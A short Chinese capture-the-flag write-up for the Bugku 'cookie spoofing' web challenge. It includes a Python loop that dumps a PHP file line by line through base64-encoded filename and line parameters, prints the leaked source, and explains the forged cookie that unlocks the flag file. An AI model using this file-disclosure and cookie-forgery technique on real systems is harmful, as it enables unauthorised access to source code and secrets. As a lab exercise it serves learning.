Bugku-cookies欺骗

看题目上的字母一脸懵逼。。

不过在url上发现filename后的值为base64加密,进行解码

将index.php替换为keys.txt

发现内容与刚才的页面一样

则尝试获取index.php中的内容,让filename的值为‘index.php’经base64加密后的值

发现页面空白,则注意到了line这个参数,更改其值

出现了PHP代码,则写脚本获取所有代码

import requests

for i in range(1,100):
    url = 'http://123.206.87.240:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw' % i
    req = requests.get(url).text
    print(req)

得到了所有代码:

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

函数

in_array() 函数搜索数组中是否存在指定的值。

file() 函数把整个文件读入一个数组中。

意思为,要在cookie中设置参数margin,其值为margin,这样file_list就会存在’keys.php’,之后如果变量file在file_list中,就会读取file的内容并按行输出

则将keys.php加密,且设置cookie就可以了